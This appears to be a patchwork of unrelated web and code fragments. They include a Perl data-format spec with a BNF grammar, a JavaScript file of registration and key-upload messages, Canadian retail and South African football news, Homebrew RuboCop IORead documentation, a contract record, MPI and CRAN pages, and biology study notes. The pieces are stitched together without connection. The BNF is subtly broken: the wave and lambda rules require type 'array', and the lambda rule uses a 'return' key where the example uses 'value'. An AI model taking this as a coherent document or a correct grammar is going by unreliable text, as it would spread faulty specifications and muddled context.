field: { type => 'field', value => 42, } array: { type => 'array', value => [1, 2, 3], } wave: { type => 'wave', value => { plot1 => [1, 2, 3], plotN => [2, 4, 8], }, } lambda: { type => 'lambda', value => { plugin => 'pluginName', config => { '$scalarField' => 42, '@arrayField' => [1, 2, 3], }, value => { type => 'field', # or array, or wave value => 42, # or [1, 2, 3] or { plot1 => [1, 2, 3], } }, } } in BNF: data ::= field | array | wave | lambda ; field ::= "{" "type" "=>" "'field'" "," "value" "=>" SCALAR ; array ::= "{" "type" "=>" "'array'" "," "value" "=>" ARRAY_REF ; wave ::= "{" "type" "=>" "'array'" "," "value" "=>" "{" wave_def "}" ; wave_def ::= plot "," | wave_def plot "," ; plot ::= STRING<plotname> "=>" ARRAY_REF ; lambda ::= "{" "type" "=>" "'array'" "," "value" "=>" "{" lambda_def "}" ; lambda_def ::= "plugin" "=>" STRING<pluginname> "," "config" "=>" config_def "," "return" "=>" lambda_return ; lambda_return ::= field | array | wave ; config_def ::= "{" config_list "}" ; config_list ::= config_item | config_list config_item ; config_item ::= "$"ID<fieldname> "=>" SCALAR | "@"ID<fieldname> "=>" ARRAY_REF ; ID ::= "[^ \t\n\r\0]*" ; SCALAR ::= /* perl scalar */ ; ARRAY_REF ::= /* perl array ref */ ; STRING ::= /* perl string */ ;


define([],function(){
/**
* Messages class contains messages for the shown to the end user.
* @class
* @constructor
* @return Messages object
*/
Messages = {};
/*________ REGISTRATION FORM HINT MESSAGES _______*/
/**
* Hint message for entering a valid username.
* @public
* @name Messages#usernameHint
* @example "The username must be between 5 and 15 characters, dot and underscore are allowed, the first letter should be a number or a character"
*/
Messages.usernameHint = "The username must be between 5 and 15 characters, dot and underscore are allowed, the first letter should be a number or a character";
/**
* Hint message for entering a valid user's first name.
* @public
* @name Messages#firstNameHint
* @example "Acceptable first names include compound names with a hyphen or a space in them."
*/
Messages.firstNameHint = "Acceptable first names include compound names with a hyphen or a space in them.";
/**
* Hint message for entering a valid user's last name.
* @public
* @name Messages#lastNameHint
* @example "Acceptable last names include compound names with a hyphen or a space in them."
*/
Messages.lastNameHint ="Acceptable last names include compound names with a hyphen or a space in them.";
/**
* Hint message for entering a valid user's email.
* @public
* @name Messages#emailHint
* @example "Please enter a valid email address."
*/
Messages.emailHint = "Please enter a valid email address.";
/**
* Hint message for entering a valid user's affiliation.
* @public
* @name Messages#affiliationHint
* @example "The affiliation should be between 2 and 20 digits, underscore, hyphen, apostrophe and dots are allowed. First letter can be only a character."
*/
Messages.affiliationHint = "The affiliation should be between 2 and 20 digits, underscore, hyphen, apostrophe and dots are allowed. First letter can be only a character.";
/**
* Hint message for entering a valid user's password.
* @public
* @name Messages#passwordHint
* @example "Password must be between 4 and 8 digits long and include at least one numeric digit."
*/
Messages.passwordHint = "Password must be between 4 and 8 digits long and include at least one numeric digit.";
/**
* Hint message for entering a valid user's password confirmation.
* @public
* @name Messages#confirmPasswordHint
* @example "Please enter password confirmation. The password has to be exactly the same you've entered in the field above."
*/
Messages.confirmPasswordHint = "Please enter password confirmation. The password has to be exactly the same you've entered in the field above.";
/**
* Hint message for entering a valid user's public key value.
* @public
* @name Messages#keyValueHint
* @example "The public key length should be between 100 and 500 digits."
*/
Messages.keyValueHint = "The public key length should be between 100 and 500 digits.";
/*_________ LOGIN AND REGISTRATION FORM WARNING MESSAGES _________ */
/**
* Warning message after submitting an empty username value.
* @public
* @name Messages#emptyUsername
* @example "Username is empty."
*/
Messages.emptyUsername = "Username is empty.";
/**
* Warning message after submitting an empty user's first name value.
* @public
* @name Messages#emptyFirstName
* @example "User's first name is empty."
*/
Messages.emptyFirstName = "User's first name is empty.";
/**
* Warning message after submitting an empty user's last name value.
* @public
* @name Messages#emptyLastName
* @example "User's last name is empty."
*/
Messages.emptyLastName = "User's last name is empty.";
/**
* Warning message after submitting an empty user's email value.
* @public
* @name Messages#emptyEmailAddress
* @example "Email address is empty."
*/
Messages.emptyEmailAddress = "Email address is empty.";
/**
* Warning message after submitting an empty user's affiliation value.
* @public
* @name Messages#emptyAffiliation
* @example "Affiliation is empty."
*/
Messages.emptyAffiliation = "Affiliation is empty.";
/**
* Warning message after submitting an empty user's password value.
* @public
* @name Messages#emptyPassword
* @example "Password is empty."
*/
Messages.emptyPassword = "Password is empty.";
/**
* Warning message after submitting an empty user's password confirmation value.
* @public
* @name Messages#emptyConfirmPassword
* @example "Confirm password is empty."
*/
Messages.emptyConfirmPassword = "Confirm password is empty." ;
/**
* Warning message after submitting a username value with a wrong syntax.
* @public
* @name Messages#wrongUsername
* @example "Wrong username syntax."
*/
Messages.wrongUsername = "Wrong username syntax.";
/**
* Warning message after submitting a user's first name value with a wrong syntax.
* @public
* @name Messages#wrongFirstName
* @example "Wrong first name syntax."
*/
Messages.wrongFirstName = "Wrong first name syntax.";
/**
* Warning message after submitting a user's last name value with a wrong syntax.
* @public
* @name Messages#wrongFirstName
* @example "Wrong last name syntax."
*/
Messages.wrongLastName = "Wrong last name syntax.";
/**
* Warning message after submitting a user's email address value with a wrong syntax.
* @public
* @name Messages#wrongEmailAddress
* @example "Wrong email address."
*/
Messages.wrongEmailAddress = "Wrong email address.";
/**
* Warning message after submitting a user's affiliation value with a wrong syntax.
* @public
* @name Messages#wrongAffiliation
* @example "Wrong Affiliation syntax."
*/
Messages.wrongAffiliation = "Wrong Affiliation syntax.";
/**
* Warning message after submitting a user's password value with a wrong syntax.
* @public
* @name Messages#wrongPassword
* @example "The given password syntax is invalid."
*/
Messages.wrongPassword = "The given password syntax is invalid";
/**
* Warning message after submitting a user's password confirmation value with a wrong syntax.
* @public
* @name Messages#wrongConfirmPassword
* @example "Confirm password has a wrong syntax."
*/
Messages.wrongConfirmPassword = "Confirm password has a wrong syntax.";
/**
* Warning message after submitting a password and the password confirmation that aren't consistent.
* @public
* @name Messages#passwordsAreInconsistent
* @example "Passwords are inconsistent."
*/
Messages.passwordsAreInconsistent = "Passwords are inconsistent.";
/**
* Warning message informing that the user with given username has not been found on the server.
* @public
* @name Messages#userNotFound
* @example "Current user isn't found."
*/
Messages.userNotFound = "Current user isn't found.";
/**
* Warning message after submitting a password with a wrong key value.
* @public
* @name Messages#wrongPasswordKey
* @example "Wrong password."
*/
Messages.wrongPasswordKey = "Wrong password.";
/*_____________ MAIN PAGE FORM MESSAGES _____________________________ */
/**
* Hint message for uploading new public key button.
* @public
* @name Messages#uploadNewPublicKey
* @example "Click to upload the new public key."
*/
Messages.uploadNewPublicKey = "Click to upload the new public key.";
/**
* Hint message that no public keys are available for the given user profile.
* @public
* @name Messages#noPublicKeys
* @example "No public keys are available"
*/
Messages.noPublicKeys = "No public keys are available";
/**
* Warning message after submitting an empty public key description.
* @public
* @name Messages#emptyKeyDescription
* @example "Public key description is empty."
*/
Messages.emptyKeyDescription = "Public key description is empty.";
/**
* Hint message for submitting a public key description value.
* @public
* @name Messages#keyDescription
* @example "The public key description should be from 3 to 15 digits long. The first letter has to be a character. Only alphanumeric characters are allowed."
*/
Messages.keyDescription = "The public key description should be from 3 to 15 digits long. The first letter has to be a character. Only alphanumeric characters are allowed.";
/**
* Hint message for submitting a public key description value.
* @public
* @name Messages#newKeyDescription
* @example "The public key description should be from 3 to 15 digits long. The first letter has to be a character. Only alphanumeric characters are allowed."
*/
Messages.newKeyDescription = "The new public key description should be from 3 to 15 digits long. The first letter has to be a character. Only alphanumeric characters are allowed.";
/**
* Warning message for submitting a public key with the empty value.
* @public
* @name Messages#emptyKeyValue
* @example "Public key value is empty"
*/
Messages.emptyKeyValue = "Public key value is empty";
/**
* Warning message for submitting a public key with the wrong syntax.
* @public
* @name Messages#wrongKeyValue
* @example "The given key value syntax is wrong."
*/
Messages.wrongKeyValue = "The given key value syntax is wrong.";
/**
* Hint message for informing the end user, to click on this field in order to change a public key description value
* @public
* @name Messages#clickToChangeKeyDescription
* @example "Click to change the public key description."
*/
Messages.clickToChangeKeyDescription = "Click to change the public key description.";
/**
* Hint message for informing the end user, to click on this field in order to change a public key description value
* @public
* @name Messages#wrongKeyDescription
* @example "The given key description is wrong."
*/
Messages.wrongKeyDescription = "The given key description is wrong.";
/**
* Hint message for informing the end user that the file selection is not supported on his/her system.
* @public
* @name Messages#fileSelectionNotSupported
* @example "Upload New User Keys is disabled because file selection is not supported on your system."
*/
Messages.fileSelectionNotSupported = "Upload New User Keys is disabled because file selection is not supported on your system.";
/**
* Warning message for informing the end user that an error occurs while loading a file from a system.
* @public
* @name Messages#failToLoadFile
* @example "Failed to load file"
*/
Messages.failToLoadFile = "Failed to load file";
/**
* Hint message for informing the end user about the starting of a process of the new ssh key and certificate creation.
* @public
* @name Messages#generateKeyPairAndCertificate
* @example "Generate new key pair and a certificate for it"
*/
Messages.generateKeyPairAndCertificate = "Generate new key pair and a certificate for it";
/**
* Hint message for informing the end user about the starting of a process
* of the certificate generation from an existing public key.
* @public
* @name Messages#generateCertificateFromKey
* @example "Generate certificate from the selected public key"
*/
Messages.generateCertificateFromKey = "Generate certificate from the selected public key";
/**
* Warning message that the given pass-phrase for a private key has an empty value.
* @public
* @name Messages#emptyPassphrase
* @example "The pass-phrase is empty."
*/
Messages.emptyPassphrase = "The pass-phrase is empty.";
/**
* Warning message that the given pass-phrase for a private key has a wrong syntax.
* @public
* @name Messages#wrongPassphrase
* @example "The given pass-phrase syntax is invalid."
*/
Messages.wrongPassphrase = "The given pass-phrase syntax is invalid.";
/**
* Hint message that informs the end user about the right private key pass-phrase syntax.
* @public
* @name Messages#passphraseHint
* @example "Password must be at least 4 characters, no more than 8 characters, and must include at least one lower case letter, and one numeric digit."
*/
Messages.passphraseHint = "Password must be at least 4 characters, no more than 8 characters, and must include at least one lower case letter, and one numeric digit.";
/**
* Hint message that informs the end user about the right private key pass-phrase syntax.
* @public
* @name Messages#generateNewKeyAndCertificate
* @example "Please wait until new key pair and certificate are being generated."
*/
Messages.generateNewKeyAndCertificate = "Please wait until new key pair and certificate are being generated.";
/**
* Warning message that informs the end user about the wrong public key file extension.
* @public
* @name Messages#wrongPublicKeyFileExt
* @example "Wrong public key file extension. The valid public key extension is 'pub'."
*/
Messages.wrongPublicKeyFileExt = "Wrong public key file extension. The valid public key extension is 'pub'.";
/**
* Warning message that informs the end user about the wrong public key file size.
* @public
* @name Messages#wrongPublicKeyFileSize
* @example "Wrong file size. Please select another public key file."
*/
Messages.wrongPublicKeyFileSize = "Wrong file size. Please select another public key file";
/**
* Confirmation question that asks the end user to delete a public key.
* @public
* @name Messages#confirmKeyDeletionQuestion
* @example "Are you sure you want to delete this public key ?"
*/
Messages.confirmKeyDeletionQuestion = "Are you sure you want to delete this public key ?";
/**
* Confirmation question that asks the end user to delete the current user profile.
* @public
* @name Messages#confirmUserDeletionQuestion
* @example "Are you sure you want to delete your user profile?"
*/
Messages.confirmUserDeletionQuestion = "Are you sure you want to delete your user profile?";
/**
* Information message about the successful user profile deletion.
* @public
* @name Messages#userDeleted
* @example "Current user profile has been successfully deleted"
*/
Messages.userDeleted = "Current user profile has been successfully deleted";
/**
* Confirmation question that asks the end user about signing out.
* @public
* @name Messages#signOutConfirm
* @example "Are you sure you want to sign out ?"
*/
Messages.signOutConfirm = "Are you sure you want to sign out ?";
return Messages;
});


Deprecated API Example
Populate
/examples/config.json
with the proper values before running.
Open the browser's debug window to view print logs for this example.
View
documentation
for more information.


Home-decor chain Bouclair to be acquired by investor group, including current CEO
by The Canadian Press, StaffMONTREAL - Bouclair Inc. says it plans to file for bankruptcy as part of a plan to be acquired by a new investor group that includes its chief executive.
The Montreal-based home-decor retailer says it and Bouclair International filed notices of intention to make a proposal under the Bankruptcy and Insolvency Act.
The move is part of a proposed transaction through a court-supervised process that is expected to close before the end of the year.
The transaction will see Alston Investments Inc. acquire a substantial portion of Bouclair's assets and maintain more than 60 of its shops, its Pointe-Claire, Que., head office, and much of its employee base.
Alston, which announced the acquisition offer Tuesday, is made up of Canadian investors, including Bouclair's CEO Peter Goldberg.
The company says it will close some of its stores, and will seek an order authorizing a liquidation process for the assets in certain stores that will not be part of the transaction.


Breaking! Chiefs & Downs Discover TKO Semi-Final Opponents
by Soccer LadumaKaizer Chiefs and Mamelodi Sundowns have discovered their opponents for the Telkom Knockout semi-finals following the conclusion of the last eight action on Sunday.
Click through the gallery to see the side left in the Telkom Knockout.
The quarter-finals did provide some entertainment as three games went all the way to penalty shoot-outs, with Maritzburg United defeating Highlands Park on Friday night while Chiefs overcome Soweto rivals Orlando Pirates on Saturday.
The third penalty shoot-out saw Sundowns overcome Chippa United to advance to the last eight.
Golden Arrows also put their name in the hat on Saturday night with a 1-0 triumph over MTN8 champions SuperSport United.
Arrows' reward for beating SuperSport will see them hosts another Tshwane outfit in Sundowns, while Chiefs will play hosts to Eric Tinkler's Maritzburg.
The fixtures will be played on 22 and 23 November.
Read: Drama Galore In Durban As Chiefs End Bucs' TKO Dream
Full draw:
Golden Arrows v Mamelodi Sundowns
Kaizer Chiefs v Maritzburg United
Download The Soccer Laduma Social Media App & Earn Airtime for Selfies!


Find top rated movies in your local Redbox kiosks
How it works:
- We look up movies in kiosks within 10 miles of your location
- We order that list of movies by aggregate score
- We provide you the top 50 movies, along with direct links to the rental
To get started, enter your zip code:
The Redbox API is down, and has been for weeks now. Until their customer support representative gets back to me, this application will not be functional.
Do you have suggestions on how to make this service better? Email us at hello@thinkjson.com.


Class: RuboCop::Cop::Homebrew::IORead Private
Overview
This class is part of a private API. This class may only be used in the Homebrew/brew repository. Third parties should avoid using this class if possible, as it may be removed or changed without warning.
This cop restricts usage of IO.read functions for security reasons.
Constant Summary collapse
- MSG =
This constant is part of a private API. This constant may only be used in the Homebrew/brew repository. Third parties should avoid using this constant if possible, as it may be removed or changed without warning.
"The use of `IO.%<method>s` is a security risk."
- RESTRICT_ON_SEND =
This constant is part of a private API. This constant may only be used in the Homebrew/brew repository. Third parties should avoid using this constant if possible, as it may be removed or changed without warning.
[:read, :readlines].freeze
Instance Method Summary collapse
-
#on_send(node) ⇒ Object
private
Instance Method Details
#on_send(node) ⇒ Object
This method is part of a private API. This method may only be used in the Homebrew/brew repository. Third parties should avoid using this method if possible, as it may be removed or changed without warning.
14 15 16 17 18 19 |
# File 'rubocops/io_read.rb', line 14 def on_send(node) return if node.receiver != s(:const, nil, :IO) return if safe?(node.arguments.first) add_offense(node, message: format(MSG, method: node.method_name)) end |


| Vendor Name | PETE'S LOCK SHOP LTD. |
|---|---|
| Reference Number | W1568-105653/001/EDM |
| Contract Date | 6-12-2010 |
| Description of Work | GLOBAL POSITIONING SYSTEM, NAVIGATION EQUIPMENT (EXCEPT AIRBORNE) |
| Delivery Date | 6-1-2011 |
| Contract Value | $24,094.00 |
| Comments | THIS ITEM CONTAINS ONE OR MORE AMENDMENT. THIS CONTRACT WAS SOLE SOURCED. |
| Additional Comments |


open fun addSubcommand(subCommand: ICommand<*>): ICommand<T>
Adds a provided command as a subcommand to this command.
subCommand - The subcommand to add.
subCommand
Return ICommand The current command (NOT the subcommand!).


Learn more about your senator's agenda through their website.
Share your comments and concerns with your Senator by filling out the form below.
Keep up to date with your senator through their YouTube channel.
Click here to see recent news article about your Senator.


Up: Groups, Contexts, and Communicators
Next: Functionality
Previous: Example 3: Building Name Service for Intercommunication
MPI provides a ``caching'' facility that allows an application to
attach arbitrary pieces of information, called attributes, to
communicators. More precisely, the caching
facility allows a portable library to do the following:
- pass information between calls by associating it
with an MPI intra- or inter-communicator,
- quickly retrieve that information, and
- be guaranteed that out-of-date information is never retrieved, even if
the communicator is freed and its handle subsequently reused by MPI.
The caching capabilities, in some form, are required by built-in MPI routines
such as collective communication and application topology. Defining an
interface to these capabilities as part of the MPI standard is valuable
because it permits routines like collective communication and application
topologies to be implemented as portable code, and also because it makes MPI
more extensible by allowing user-written routines to use standard MPI calling
sequences.
[] Advice to users.
The communicator MPI_COMM_SELF is a suitable choice for posting
process-local attributes, via this attributing-caching mechanism.
( End of advice to users.)
Up: Groups, Contexts, and Communicators
Next: Functionality
Previous: Example 3: Building Name Service for Intercommunication
Return to MPI 1.1 Standard Index
Return to MPI-2 Standard Index
Return to MPI Forum Home Page
MPI-1.1 of June 12, 1995
HTML Generated on August 6, 1997


You'll find that life
is still worthwhile,
if you just smile.
- Charlie Chaplin
General
Programming
Tell Me a Joke
Setup
Punchline
General
Programming
Create Joke


Declarative template-based framework for verifying that objects meet structural requirements, and auto-composing error messages when they do not.
| Version: | 0.2.6 |
| Depends: | R (≥ 3.2.0) |
| Suggests: | knitr, rmarkdown, unitizer, methods |
| Published: | 2018-08-15 |
| Author: | Brodie Gaslam [aut, cre], Paxdiablo [cph] (Hash table implementation in src/pfhash.h), R Core Team [cph] (Used/adapted several code snippets from R sources, see src/misc-alike.c and src/valname.c) |
| Maintainer: | Brodie Gaslam <brodie.gaslam at yahoo.com> |
| BugReports: | https://github.com/brodieG/vetr/issues |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | https://github.com/brodieG/vetr |
| NeedsCompilation: | yes |
| Materials: | README NEWS |
| CRAN checks: | vetr results |
| Reference manual: | vetr.pdf |
| Vignettes: |
alike vetr |
| Package source: | vetr_0.2.6.tar.gz |
| Windows binaries: | r-devel: vetr_0.2.6.zip, r-release: vetr_0.2.6.zip, r-oldrel: vetr_0.2.6.zip |
| OS X binaries: | r-release: vetr_0.2.6.tgz, r-oldrel: vetr_0.2.6.tgz |
| Old sources: | vetr archive |
Please use the canonical form https://CRAN.R-project.org/package=vetr to link to this page.


Search it!
Exams
Enroll
Withdraw
List of exam sessions
Messages and Notifications
E-mail
Messages
Yammer
Courses
My courses
My attendance
Final thesis
Schedule
Social networks
E-business
Marketing through content
Business intelligence
filter_list
Filter
234444
Social networks
334305
Marketing through content
200304
Business intelligence


Darwin's Observations
Notes
Darwin Observed Differences among Island Species=- In biology, variation is the difference in physical traits of an individual from those of other individuals in the group to which it belongs.
- Variation can occur either among members of different species or among individuals of the same species
- The observations Darwin made in the Galapagos Islands led him to realize that species may somehow be able to adapt to its surroundings
- An adaptation is a feature that allows an organism to better survive in its environment and can lead to genetic change in a population over time
Questions
-
What accounts for the variation Darwin observed among island species?
Answer: Variation can be caused by the differences in the biotic and abiotic features of the environment in which they live. -
What did Darwin learn from the fossils that he observed on his voyage?
Answer: The fossils that Darwin had studied on his voyage led him to believe that species can change over time. He saw that the fossils of the extinct organisms were found near similar organisms that were living in the area.


Mindfulness Teaching Timer
Initialising...
Current Time
OK
Press again to exit...
Add to Homepage
Test